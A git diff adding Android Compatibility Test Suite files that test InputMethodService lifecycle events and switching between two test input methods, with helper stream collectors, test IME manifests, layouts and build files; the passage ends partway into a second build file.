diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
new file mode 100644
index 0000000..f4c0698
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import static android.inputmethodservice.cts.DeviceEvent.isFrom;
+import static android.inputmethodservice.cts.DeviceEvent.isNewerThan;
+import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
+import static android.inputmethodservice.cts.common.ImeCommandConstants.ACTION_IME_COMMAND;
+import static android.inputmethodservice.cts.common.ImeCommandConstants.COMMAND_SWITCH_INPUT_METHOD;
+import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_ARG_STRING1;
+import static android.inputmethodservice.cts.common.ImeCommandConstants.EXTRA_COMMAND;
+import static android.inputmethodservice.cts.devicetest.BusyWaitUtils.pollingCheck;
+import static android.inputmethodservice.cts.devicetest.MoreCollectors.startingFrom;
+
+import android.inputmethodservice.cts.DeviceEvent;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.Ime1Constants;
+import android.inputmethodservice.cts.common.Ime2Constants;
+import android.inputmethodservice.cts.common.test.DeviceTestConstants;
+import android.inputmethodservice.cts.common.test.ShellCommandUtils;
+import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
+import android.os.SystemClock;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.concurrent.TimeUnit;
+import java.util.function.IntFunction;
+import java.util.function.Predicate;
+import java.util.stream.Collector;
+
+@RunWith(AndroidJUnit4.class)
+public class InputMethodServiceDeviceTest {
+
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+    /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
+    @Test
+    public void testCreateIme1() throws Throwable {
+        final TestHelper helper = new TestHelper(getClass(), DeviceTestConstants.TEST_CREATE_IME1);
+
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onCreate is called");
+
+        final long startActivityTime = SystemClock.uptimeMillis();
+        helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+
+        pollingCheck(() -> helper.queryAllEvents()
+                        .filter(isNewerThan(startActivityTime))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onStartInput is called");
+    }
+
+    /** Test to check IME is switched from CtsInputMethod1 to CtsInputMethod2. */
+    @Test
+    public void testSwitchIme1ToIme2() throws Throwable {
+        final TestHelper helper = new TestHelper(
+                getClass(), DeviceTestConstants.TEST_SWITCH_IME1_TO_IME2);
+
+        pollingCheck(() -> helper.queryAllEvents()
+                        .collect(startingFrom(helper.isStartOfTest()))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_CREATE)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onCreate is called");
+
+        final long startActivityTime = SystemClock.uptimeMillis();
+        helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+
+        pollingCheck(() -> helper.queryAllEvents()
+                        .filter(isNewerThan(startActivityTime))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_START_INPUT)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onStartInput is called");
+
+        helper.findUiObject(R.id.text_entry).click();
+
+        // Switch IME from CtsInputMethod1 to CtsInputMethod2.
+        final long switchImeTime = SystemClock.uptimeMillis();
+        helper.shell(ShellCommandUtils.broadcastIntent(
+                ACTION_IME_COMMAND, Ime1Constants.PACKAGE,
+                "-e", EXTRA_COMMAND, COMMAND_SWITCH_INPUT_METHOD,
+                "-e", EXTRA_ARG_STRING1, Ime2Constants.IME_ID));
+
+        pollingCheck(() -> helper.shell(ShellCommandUtils.getCurrentIme())
+                        .equals(Ime2Constants.IME_ID),
+                TIMEOUT, "CtsInputMethod2 is current IME");
+        pollingCheck(() -> helper.queryAllEvents()
+                        .filter(isNewerThan(switchImeTime))
+                        .filter(isFrom(Ime1Constants.CLASS).and(isType(ON_DESTROY)))
+                        .findAny().isPresent(),
+                TIMEOUT, "CtsInputMethod1.onDestroy is called");
+        pollingCheck(() -> helper.queryAllEvents()
+                        .filter(isNewerThan(switchImeTime))
+                        .filter(isFrom(Ime2Constants.CLASS))
+                        .collect(sequenceOfTypes(ON_CREATE, ON_START_INPUT))
+                        .matched(),
+                TIMEOUT,
+                "CtsInputMethod2.onCreate and onStartInput are called in sequence");
+    }
+
+    /** Test to check CtsInputMethod1 isn't current IME. */
+    @Test
+    public void testIme1IsNotCurrentIme() throws Throwable {
+        final TestHelper helper =
+                new TestHelper(getClass(), DeviceTestConstants.TEST_IME1_IS_NOT_CURRENT_IME);
+
+        helper.launchActivity(DeviceTestConstants.PACKAGE, DeviceTestConstants.TEST_ACTIVITY_CLASS);
+        helper.findUiObject(R.id.text_entry).click();
+
+        pollingCheck(() -> !helper.shell(ShellCommandUtils.getCurrentIme())
+                        .equals(Ime1Constants.IME_ID),
+                TIMEOUT,
+                "CtsInputMethod1 is uninstalled or disabled, and current IME becomes other IME");
+    }
+
+    /**
+     * Build stream collector of {@link DeviceEvent} collecting sequence that elements have
+     * specified types.
+     *
+     * @param types {@link DeviceEventType}s that elements of sequence should have.
+     * @return {@link java.util.stream.Collector} that corrects the sequence.
+     */
+    private static Collector<DeviceEvent, ?, MatchResult<DeviceEvent>> sequenceOfTypes(
+            final DeviceEventType... types) {
+        final IntFunction<Predicate<DeviceEvent>[]> arraySupplier = Predicate[]::new;
+        return SequenceMatcher.of(Arrays.stream(types)
+                .map(DeviceEvent::isType)
+                .toArray(arraySupplier));
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java
new file mode 100644
index 0000000..613c266
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceTestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class InputMethodServiceTestActivity extends Activity {
+    @Override
+    protected void onCreate(final Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_inputmethod_test);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
new file mode 100644
index 0000000..a935f0b
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/MoreCollectors.java
@@ -0,0 +1,88 @@
+package android.inputmethodservice.cts.devicetest;
+
+import java.util.function.BiConsumer;
+import java.util.function.Predicate;
+import java.util.stream.Collector;
+import java.util.stream.Stream;
+import java.util.stream.Stream.Builder;
+
+/**
+ * More stream collectors.
+ */
+final class MoreCollectors {
+
+    /**
+     * Create a collector that collects elements ending at an element that satisfies specified
+     * predicate. For example,
+     * <pre>
+     * Stream.of("a", "b", "c", "d", "c", "d", "e").collect(endingAt(s -> s.equals("d")))
+     * </pre>
+     * returns {@code Stream.of("a", "b", "c", "d")}.
+     *
+     * @param predicate a predicator to find a specific element.
+     * @param <E> a type of element.
+     * @return {@link Collector} object that collects elements ending at an element that is
+     *          accepted by {@code predicate}.
+     */
+    static <E> Collector<E, ?, Stream<E>> endingAt(final Predicate<E> predicate) {
+        final BiConsumer<Builder<E>, E> endingAtAccumulator = new BiConsumer<Builder<E>, E>() {
+            private boolean mFound = false;
+
+            @Override
+            public void accept(final Builder<E> builder, final E element) {
+                if (mFound) {
+                    return;
+                }
+                if (predicate.test(element)) {
+                    mFound = true;
+                }
+                builder.accept(element);
+            }
+        };
+        return Collector.of(
+                Stream::builder,
+                endingAtAccumulator,
+                (builder, builder2) -> {
+                    throw new UnsupportedOperationException("Do not use on parallel stream.");
+                },
+                Builder::build);
+    }
+
+    /**
+     * Create a collector that collects elements starting from an element that satisfies specified
+     * predicate. For example,
+     * <pre>
+     * Stream.of("a", "b", "c", "d", "c", "d", "e").collect(startingFrom(s -> s.equals("d")))
+     * </pre>
+     * returns {@code Stream.of("d", "c", "d", "e")}.
+     *
+     * @param predicate a predicator to find a specific element.
+     * @param <E> a type of element.
+     * @return {@link Collector} object that collects elements starting from an element that is
+     *          accepted by {@code predicate}.
+     */
+    static <E> Collector<E, ?, Stream<E>> startingFrom(final Predicate<E> predicate) {
+        final BiConsumer<Builder<E>, E> startingFromAccumulator = new BiConsumer<Builder<E>, E>() {
+            private boolean mFound = false;
+
+            @Override
+            public void accept(final Builder<E> builder, final E element) {
+                if (mFound) {
+                    builder.accept(element);
+                    return;
+                }
+                if (predicate.test(element)) {
+                    mFound = true;
+                    builder.accept(element);
+                }
+            }
+        };
+        return Collector.of(
+                Stream::builder,
+                startingFromAccumulator,
+                (builder, builder2) -> {
+                    throw new UnsupportedOperationException("Do not use on parallel stream.");
+                },
+                Builder::build);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
new file mode 100644
index 0000000..36b711e
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/SequenceMatcher.java
@@ -0,0 +1,140 @@
+package android.inputmethodservice.cts.devicetest;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.function.IntFunction;
+import java.util.function.Predicate;
+import java.util.stream.Collector;
+import java.util.stream.Stream;
+
+/**
+ * Sequence matcher on {@link Stream}.
+ */
+final class SequenceMatcher {
+
+    /**
+     * Return type of this matcher.
+     * @param <E> type of stream element.
+     */
+    static final class MatchResult<E> {
+
+        private final boolean mMatched;
+        private final List<E> mMatchedSequence;
+
+        MatchResult(final boolean matched, final List<E> matchedSequence) {
+            mMatched = matched;
+            mMatchedSequence = matchedSequence;
+        }
+
+        boolean matched() {
+            return mMatched;
+        }
+
+        List<E> getMatchedSequence() {
+            return mMatchedSequence;
+        }
+    }
+
+    /**
+     * Accumulate continuous sequence of elements that satisfy specified {@link Predicate}s.
+     * @param <E> type of stream element.
+     */
+    private static final class SequenceAccumulator<E> {
+
+        private final Predicate<E>[] mPredicates;
+        private final List<E> mSequence = new ArrayList<>();
+
+        SequenceAccumulator(final Predicate<E>... predicates) {
+            mPredicates = predicates;
+        }
+
+        void accumulate(final E element) {
+            if (mSequence.isEmpty()) {
+                // Search for the first element of sequence.
+                if (mPredicates[0].test(element)) {
+                    mSequence.add(element);
+                }
+                return;
+            }
+            final int currentIndex = mSequence.size();
+            if (currentIndex >= mPredicates.length) {
+                // Already found sequence.
+                return;
+            }
+            if (mPredicates[currentIndex].test(element)) {
+                mSequence.add(element);
+            } else {
+                // Not continuous, restart searching from the first.
+                mSequence.clear();
+            }
+        }
+
+        MatchResult<E> getResult() {
+            return new MatchResult<>(mSequence.size() == mPredicates.length, mSequence);
+        }
+    }
+
+
+    /**
+     * Create a {@link Collector} that collects continuous sequence of elements that equal to
+     * specified {@code elements}. It returns {@link MatchResult<E>} of found such sequence.
+     * <pre>
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(1)).matched();  // true
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(2)).matched();  // true
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(0)).matched();  // false
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(2, 3, 4)).matched();  // true
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(2, 3, 5)).matched();  // false, not continuous.
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(2, 1)).matched();  // false
+     * Stream.of(1, 2, 3, 4, 5).collect(
+     *      SequenceMatcher.of(1, 2, 3, 4, 5, 6)).matched();  // false
+     * Stream.of(1, 1, 1, 1, 1).collect(
+     *      SequenceMatcher.of(1, 1)).matched();  // true
+     * Stream.of(1, 1, 1, 1, 1).collect(
+     *      SequenceMatcher.of(1, 1, 1)).matched();  // true
+     * Stream.of(1, 1, 1, 1, 1).collect(
+     *      SequenceMatcher.of(1, 1, 1, 1, 1, 1)).matched();  // false
+     * Stream.of(1, 1, 0, 1, 1).collect(
+     *      SequenceMatcher.of(1, 1, 1)).matched();  // false, not continuous.
+     * </pre>
+     *
+     * @param elements elements of matching sequence.
+     * @param <E> type of stream element
+     * @return {@link MatchResult<E>} of matcher sequence.
+     */
+    static <E> Collector<E, ?, MatchResult<E>> of(final E... elements) {
+        if (elements == null || elements.length == 0) {
+            throw new IllegalArgumentException("At least one element.");
+        }
+        final IntFunction<Predicate<E>[]> arraySupplier = Predicate[]::new;
+        return of(Arrays.stream(elements).map(Predicate::isEqual).toArray(arraySupplier));
+    }
+
+    /**
+     * Create a {@link Collector} that collects continuous sequence of elements that satisfied
+     * specified {@code predicates}. It returns {@link MatchResult<E>} of found such sequence.
+     * <p>Please see examples in {@link #of(Object...)}.
+     *
+     * @param predicates array of {@link Predicate<E>} that each of sequence element should satisfy.
+     * @param <E> type of stream element.
+     * @return {@link MatchResult<E>} of matched sequence.
+     */
+    static <E> Collector<E, ?, MatchResult<E>> of(final Predicate<E>... predicates) {
+        if (predicates == null || predicates.length == 0) {
+            throw new IllegalArgumentException("At least one Predicate.");
+        }
+        return Collector.of(
+                () -> new SequenceAccumulator<>(predicates),
+                SequenceAccumulator::accumulate,
+                (accumulate, accumulate2) -> {
+                    throw new UnsupportedOperationException("Do not use on parallel stream.");
+                },
+                SequenceAccumulator::getResult);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
new file mode 100644
index 0000000..a4b1aae
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.devicetest;
+
+import static android.inputmethodservice.cts.DeviceEvent.isFrom;
+import static android.inputmethodservice.cts.DeviceEvent.isType;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.TEST_START;
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.database.Cursor;
+import android.inputmethodservice.cts.DeviceEvent;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
+import android.inputmethodservice.cts.common.test.TestInfo;
+import android.net.Uri;
+import android.support.annotation.IdRes;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+
+import java.io.IOException;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+import java.util.stream.Stream;
+
+/**
+ * Helper object for device side test.
+ */
+final class TestHelper {
+
+    /** Content URI of device event provider. */
+    private static final Uri DEVICE_EVENTS_CONTENT_URI = Uri.parse(EventTableConstants.CONTENT_URI);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+
+    private final TestInfo mTestInfo;
+    private final ContentResolver mResolver;
+    private final Context mTargetContext;
+    private final UiDevice mUiDevice;
+
+    /**
+     * Construct a helper object of specified test method.
+     *
+     * @param testClass a {@link Class} of test.
+     * @param testMethod a name of test method.
+     */
+    TestHelper(final Class<?> testClass, final String testMethod) {
+        final Context testContext = InstrumentationRegistry.getContext();
+        mTestInfo = new TestInfo(testContext.getPackageName(), testClass.getName(), testMethod);
+        mResolver = testContext.getContentResolver();
+        mTargetContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    }
+
+    /**
+     * Execute a shell {@code command} and return its standard out.
+     * @param command a shell command text to execute.
+     * @return command's standard output without ending newline.
+     * @throws IOException
+     */
+    String shell(final String command) throws IOException {
+        return mUiDevice.executeShellCommand(command).trim();
+    }
+
+    /**
+     * Launching an Activity for test, and wait for completions of launch.
+     * @param packageName activity's app package name.
+     * @param className activity's class name.
+     */
+    void launchActivity(final String packageName, final String className) {
+        final Intent intent = new Intent()
+                .setAction(Intent.ACTION_MAIN)
+                .setClassName(packageName, className)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        InstrumentationRegistry.getContext().startActivity(intent);
+        mUiDevice.wait(Until.hasObject(By.pkg(packageName).depth(0)), TIMEOUT);
+    }
+
+    /**
+     * Find an UI element from resource ID.
+     * @param resId id of finding UI element.
+     * @return {@link UiObject2} of found UI element.
+     */
+    UiObject2 findUiObject(@IdRes int resId) {
+        final String resourceName = mTargetContext.getResources().getResourceName(resId);
+        return mUiDevice.findObject(By.res(resourceName));
+    }
+
+    /**
+     * Return all device events as {@link Stream}
+     * @return {@link Stream<DeviceEvent>} of all device events.
+     */
+    Stream<DeviceEvent> queryAllEvents() {
+        try (final Cursor cursor = mResolver.query(
+                DEVICE_EVENTS_CONTENT_URI,
+                null /* projection */,
+                null /* selection */,
+                null /* selectionArgs */,
+                null /* sortOrder */)) {
+            return DeviceEvent.buildStream(cursor);
+        }
+    }
+
+    /**
+     * Build a {@link Predicate} can be used for skipping device events in {@link Stream} until
+     * {@link DeviceEventType#TEST_START TEST_START} device event of this test method.
+     * @return {@llink Predicate<DeviceEvent>} that return true after accepting
+     *         {@link DeviceEventType#TEST_START TEST_START} of this test method.
+     */
+    Predicate<DeviceEvent> isStartOfTest() {
+        return isFrom(mTestInfo.getTestName()).and(isType(TEST_START));
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
new file mode 100644
index 0000000..fe67791
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIR := res
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    CtsInputMethodServiceCommon \
+    CtsInputMethodServiceLib
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsInputMethod1
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
new file mode 100755
index 0000000..70de83f
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.inputmethodservice.cts.ime1">
+
+    <!--
+      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+      latest OS behaviors.
+    -->
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+
+    <application
+        android:label="@string/ime_name"
+        android:allowBackup="false"
+        android:theme="@android:style/Theme.InputMethod"
+    >
+        <service
+            android:name=".CtsInputMethod1"
+            android:label="@string/ime_name"
+            android:permission="android.permission.BIND_INPUT_METHOD">
+            <intent-filter>
+                <action android:name="android.view.InputMethod" />
+            </intent-filter>
+            <meta-data
+                android:name="android.view.im"
+                android:resource="@xml/ime1" />
+        </service>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/res/layout/input_view.xml b/hostsidetests/inputmethodservice/deviceside/ime1/res/layout/input_view.xml
new file mode 100644
index 0000000..c3c69e6
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/res/layout/input_view.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="@android:color/holo_orange_dark"
+    android:padding="80dp"
+>
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+        android:textSize="72sp"
+        android:gravity="center"
+        android:id="@+id/ime_name"
+        android:text="@string/ime_name" />
+</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/res/values/colors.xml b/hostsidetests/inputmethodservice/deviceside/ime1/res/values/colors.xml
new file mode 100644
index 0000000..932b97b
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<resources>
+    <color name="input_view_background">@android:color/holo_orange_dark</color>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/res/values/strings.xml b/hostsidetests/inputmethodservice/deviceside/ime1/res/values/strings.xml
new file mode 100644
index 0000000..324a330
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<resources>
+    <string name="ime_name" translatable="false">IME1</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/res/xml/ime1.xml b/hostsidetests/inputmethodservice/deviceside/ime1/res/xml/ime1.xml
new file mode 100644
index 0000000..3cbef44
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/res/xml/ime1.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android"
+    android:supportsSwitchingToNextInputMethod="true">
+</input-method>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/src/android/inputmethodservice/cts/ime1/CtsInputMethod1.java b/hostsidetests/inputmethodservice/deviceside/ime1/src/android/inputmethodservice/cts/ime1/CtsInputMethod1.java
new file mode 100644
index 0000000..4176014
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/src/android/inputmethodservice/cts/ime1/CtsInputMethod1.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.ime1;
+
+import android.inputmethodservice.cts.ime.CtsBaseInputMethod;
+import android.view.View;
+
+public final class CtsInputMethod1 extends CtsBaseInputMethod {
+
+    @Override
+    public View onCreateInputView() {
+        return getLayoutInflater().inflate(R.layout.input_view, null /* root */);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
new file mode 100644
index 0000000..cf9cb37
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
